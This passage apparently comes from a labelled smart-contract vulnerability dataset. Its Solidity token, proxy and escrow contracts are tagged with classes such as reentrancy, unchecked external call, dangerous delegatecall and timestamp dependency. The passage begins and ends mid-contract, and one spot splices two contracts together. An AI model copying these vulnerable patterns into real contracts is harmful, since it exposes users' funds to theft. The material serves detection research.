@dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns(uint256); function transferFrom(address from, address to, uint256 value) public returns(bool); function approve(address spender, uint256 value) public returns(bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns(uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns(bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns(bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: node_modules\zeppelin-solidity\contracts\lifecycle\Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns(bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns(bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns(bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns(bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns(bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts\TopPlayerToken.sol /***************************************************************************** * *Copyright 2018 TopPlayer * *Licensed under the Apache License, Version 2.0 (the ""License""); *you may not use this file except in compliance with the License. *You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * *Unless required by applicable law or agreed to in writing, software *distributed under the License is distributed on an ""AS IS"" BASIS, *WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *See the License for the specific language governing permissions and *limitations under the License. * *****************************************************************************/ contract TopPlayerToken is PausableToken { using SafeMath for uint256; // ERC20 constants string public name = ""Mu Chen Top Players Original""; string public symbol = ""MCTP-ORG""; string public standard = ""ERC20""; uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 20 * (10 ** 8) * (10 ** 18); event ReleaseTarget(address target); mapping(address => TimeLock[]) public allocations; address[] public receiptors; address[] public froms; address[] public tos; uint[] public timess; uint256[] public balancess; uint[] public createTimes; struct TimeLock { uint time; uint256 balance; uint createTime; } /*Here is the constructor function that is executed when the instance is created*/ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } function getAllocations() public view returns(address[], address[], uint[], uint256[], uint[]){ getInfos(); return (froms, tos, timess, balancess, createTimes); } /** * @dev transfer token for a specified address if transfer is open * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns(bool) { require(canSubAllocation(msg.sender, _value)); subAllocation(msg.sender); return super.transfer(_to, _value); } function canSubAllocation(address sender, uint256 sub_value) private constant returns(bool) { if (sub_value == 0) { return false; } if (balances[sender] < sub_value) { return false; } uint256 alllock_sum = 0; for (uint j = 0; j < allocations[sender].length; j++) { if (allocations[sender][j].time >= block.timestamp) { alllock_sum = alllock_sum.add(allocations[sender][j].balance); } } uint256 can_unlock = balances[sender].sub(alllock_sum); return can_unlock >= sub_value; } function subAllocation(address sender) private { for (uint j = 0; j < allocations[sender].length; j++) { if (allocations[sender][j].time < block.timestamp) { allocations[sender][j].balance = 0; } } } function setAllocation(address _address, uint256 total_value, uint time, uint256 balanceRequire) public onlyOwner returns(bool) { uint256 sum = 0; sum = sum.add(balanceRequire); require(total_value >= sum); require(balances[msg.sender] >= sum); uint256 createTime; if(allocations[_address].length == 0){ receiptors.push(_address); } bool find = false; for (uint j = 0; j < allocations[_address].length; j++) { if (allocations[_address][j].time == time) { allocations[_address][j].balance = allocations[_address][j].balance.add(balanceRequire); find = true; break; } } if (!find) { createTime = now; allocations[_address].push(TimeLock(time, balanceRequire, createTime)); } bool result = super.transfer(_address, total_value); emit Transferred(msg.sender, _address, createTime, total_value, time); return result; } function releaseAllocation(address target) public onlyOwner { require(balances[target] > 0); for (uint j = 0; j < allocations[target].length; j++) { allocations[target][j].balance = 0; } emit ReleaseTarget(target); } event Transferred(address from, address to, uint256 createAt, uint256 total_value, uint time); function getInfos() public { if (msg.sender == owner){ for (uint i=0; i uint) public pendingWithdrawals; constructor( CollateralState _state, address _owner, address _manager, address _resolver, bytes32 _collateralKey, uint _minCratio, uint _minCollateral ) public Collateral(_state, _owner, _manager, _resolver, _collateralKey, _minCratio, _minCollateral) {} function open(uint amount, bytes32 currency) external payable { openInternal(msg.value, amount, currency, false); } function close(uint id) external { uint collateral = closeInternal(msg.sender, id); pendingWithdrawals[msg.sender] = pendingWithdrawals[msg.sender].add(collateral); } function deposit(address borrower, uint id) external payable { depositInternal(borrower, id, msg.value); } function withdraw(uint id, uint withdrawAmount) external { uint amount = withdrawInternal(id, withdrawAmount); pendingWithdrawals[msg.sender] = pendingWithdrawals[msg.sender].add(amount); } function repay( address account, uint id, uint amount ) external { repayInternal(account, msg.sender, id, amount); } function draw(uint id, uint amount) external { drawInternal(id, amount); } function liquidate( address borrower, uint id, uint amount ) external { uint collateralLiquidated = liquidateInternal(borrower, id, amount); pendingWithdrawals[msg.sender] = pendingWithdrawals[msg.sender].add(collateralLiquidated); } function claim(uint amount) external nonReentrant { // If they try to withdraw more than their total balance, it will fail on the safe sub. pendingWithdrawals[msg.sender] = pendingWithdrawals[msg.sender].sub(amount); (bool success, ) = msg.sender.call.value(amount)(""""); require(success, ""Transfer failed""); } } ",./Dataset/unchecked external call (UC),7,7 34648.sol,"contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* This implements ONLY the standard functions and NOTHING else. For a token like you would want to deploy in something like Mist, see HumanStandardToken.sol. If you deploy this, you won't have anything useful. Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 .*/ contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } /* This Token Contract implements the standard token functionality (https://github.com/ethereum/EIPs/issues/20) as well as the following OPTIONAL extras intended for use by humans. In other words. This is intended for deployment in something like a Token Factory or Mist wallet, and then used by humans. Imagine coins, currencies, shares, voting weight, etc. Machine-based, rapid creation of many tokens would not necessarily need these extra features or will be minted in other manners. 1) Initial Finite Supply (upon creation one specifies how much is minted). 2) In the absence of a token registry: Optional Decimal, Symbol & Name. 3) Optional approveAndCall() functionality to notify a contract if an approval() has occurred. .*/ contract HumanStandardToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x022011f8e71ec0766ab8688574f4fd0c880ccd3e_WubCoin.sol,"pragma solidity ^0.4.11; /** * Thank you for checking out WUB * * WUB is the token that powers New Sound For Japan, an event brand that seeks * out the best and most talented producers and DJs in the world and puts * together historical festivals and raves. * * https://www.newsoundforjapan.com * * Copyright by Stefan K.K. All Rights Reserved. */ /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) pure internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) pure internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) pure internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) pure internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20CompatibleToken { using SafeMath for uint; mapping(address => uint) balances; // List of user balances. event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(_from, _value, empty); } emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC223Interface { uint public totalSupply; function balanceOf(address who) constant public returns (uint); function transfer(address to, uint value) public; function transfer(address to, uint value, bytes data) public; } /** * @title Based on the reference implementation of the ERC223 standard token. */ contract WubCoin is ERC223Interface, ERC20CompatibleToken { using SafeMath for uint; string public name = ""WubCoin""; string public symbol = ""WUB""; uint8 public decimals = 18; uint256 public totalSupply = 15000000 * 10 ** 18; constructor(address companyWallet) public { balances[companyWallet] = balances[companyWallet].add(totalSupply); emit Transfer(0x0, companyWallet, totalSupply); } /** * We don't accept payments to the token contract directly. */ function() public payable { revert(); } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) public { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value); } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) public { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } emit Transfer(msg.sender, _to, _value); } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } }",Safe,8,8 1035.sol,"pragma solidity ^0.4.24; // Volkscoin // Token name: Volkscoin // Symbol: VOLK // Decimals: 1 library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function distr(address _to, uint256 _value) public returns (bool); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); } contract Volkscoin is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant name = ""Volkscoin""; string public constant symbol = ""VOLK""; uint public constant decimals = 8; uint256 public totalSupply = 12000000000e8; uint256 public totalDistributed = 1200000000e8; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function Volkscoin () public { owner = msg.sender; value = 4000e8; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function airdrop(address[] addresses) onlyOwner canDistr public { require(addresses.length <= 255); require(value <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(value <= totalRemaining); distr(addresses[i], value); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { if (value > totalRemaining) { value = totalRemaining; } require(value <= totalRemaining); address investor = msg.sender; uint256 toGive = value; distr(investor, toGive); if (toGive > 0) { blacklist[investor] = true; } if (totalDistributed >= totalSupply) { distributionFinished = true; } value = value.div(100000).mul(99999); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 8680.sol," pragma solidity ^0.4.23; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; constructor(address _cacheAddr) public { require(setCache(_cacheAddr)); } function() public payable { } function execute(bytes _code, bytes _data) public payable returns (address target, bytes32 response) { target = cache.read(_code); if (target == 0x0) { target = cache.write(_code); } response = execute(target, _data); } function execute(address _target, bytes _data) public auth note payable returns (bytes32 response) { require(_target != 0x0); assembly { let succeeded := delegatecall(sub(gas, 5000), _target, add(_data, 0x20), mload(_data), 0, 32) response := mload(0) switch iszero(succeeded) case 1 { revert(0, 0) } } } function setCache(address _cacheAddr) public auth note returns (bool) { require(_cacheAddr != 0x0); cache = DSProxyCache(_cacheAddr); return true; } } contract DSProxyFactory { event Created(address indexed sender, address indexed owner, address proxy, address cache); mapping(address=>bool) public isProxy; DSProxyCache public cache = new DSProxyCache(); function build() public returns (DSProxy proxy) { proxy = build(msg.sender); } function build(address owner) public returns (DSProxy proxy) { proxy = new DSProxy(cache); emit Created(msg.sender, owner, address(proxy), address(cache)); proxy.setOwner(owner); isProxy[proxy] = true; } } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } } contract ProxyRegistry { mapping(address => DSProxy) public proxies; DSProxyFactory factory; constructor(DSProxyFactory factory_) public { factory = factory_; } function build() public returns (DSProxy proxy) { proxy = build(msg.sender); } function build(address owner) public returns (DSProxy proxy) { require(proxies[owner] == DSProxy(0) || proxies[owner].owner() != owner); proxy = factory.build(owner); proxies[owner] = proxy; } }",./Dataset/dangerous delegatecall (DE)/,1,1 3271.sol,"pragma solidity ^0.4.24; contract hodlEthereum { event Hodl(address indexed hodler, uint indexed amount); event Party(address indexed hodler, uint indexed amount); mapping (address => uint) public hodlers; uint constant partyTime = 1535760000; function hodl() payable public { hodlers[msg.sender] += msg.value; emit Hodl(msg.sender, msg.value); } function party() public { require (block.timestamp > partyTime && hodlers[msg.sender] > 0); uint value = hodlers[msg.sender]; hodlers[msg.sender] = 0; msg.sender.transfer(value); emit Party(msg.sender, value); } }",./Dataset/timestamp dependency (TP)/,6,6 1194.sol,"pragma solidity 0.4.21; pragma experimental ""v0.5.0""; contract Owned { address public owner; address public newOwner; function Owned() public { owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnerUpdate(address _prevOwner, address _newOwner); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow.*/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { 